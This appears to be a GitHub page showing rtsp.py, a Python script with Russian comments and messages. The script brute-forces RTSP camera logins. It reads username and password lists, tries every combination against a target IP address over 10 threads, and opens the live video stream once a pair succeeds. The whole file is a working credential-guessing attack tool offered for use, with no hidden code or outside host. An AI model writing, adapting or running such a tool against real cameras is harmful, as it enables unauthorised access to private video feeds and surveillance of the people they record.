-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrtsp.py
69 lines (52 loc) · 2.46 KB
/
rtsp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import cv2
from concurrent.futures import ThreadPoolExecutor
successful_login = None
cap = None
def attempt_login(ip_address, username, password):
global successful_login, cap
if successful_login:
print(f"Успешный вход уже найден: {successful_login}. Пропускаем {username}:{password}.")
return
rtsp_url = f"rtsp://{username}:{password}@{ip_address}"
print(f"Пытаемся подключиться к {rtsp_url}...")
cap = cv2.VideoCapture(rtsp_url)
cap.set(cv2.CAP_PROP_TIMEOUT, 1000)
if cap.isOpened():
successful_login = f"Успешно подключено с: {username}:{password}"
print(successful_login)
while successful_login:
ret, frame = cap.read()
if not ret:
print("Не удалось получить кадр. Завершение потока.")
break
cv2.imshow('Stream', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
print("Выход из обработки видео по запросу.")
break
cap.release()
cv2.destroyAllWindows()
print("Поток закрыт и окна OpenCV уничтожены.")
else:
print(f"Не удалось открыть поток с {username}:{password}.")
cap.release()
def main():
ip_address = "192.168.1.100" # замените на ваш ip (RTSP)
login_file = "logins.txt" # файл с логинами
password_file = "passwords.txt" # файл с паролями
print("Чтение логинов и паролей из файлов...")
with open(login_file, 'r') as lf:
logins = lf.read().splitlines()
with open(password_file, 'r') as pf:
passwords = pf.read().splitlines()
print(f"Найдено логинов: {len(logins)}, паролей: {len(passwords)}.")
with ThreadPoolExecutor(max_workers=10) as executor:
futures = []
for login in logins:
for password in passwords:
futures.append(executor.submit(attempt_login, ip_address, login, password))
for future in futures:
future.result()
if not successful_login:
print("Все попытки входа завершились неудачей.")
if __name__ == "__main__":
main()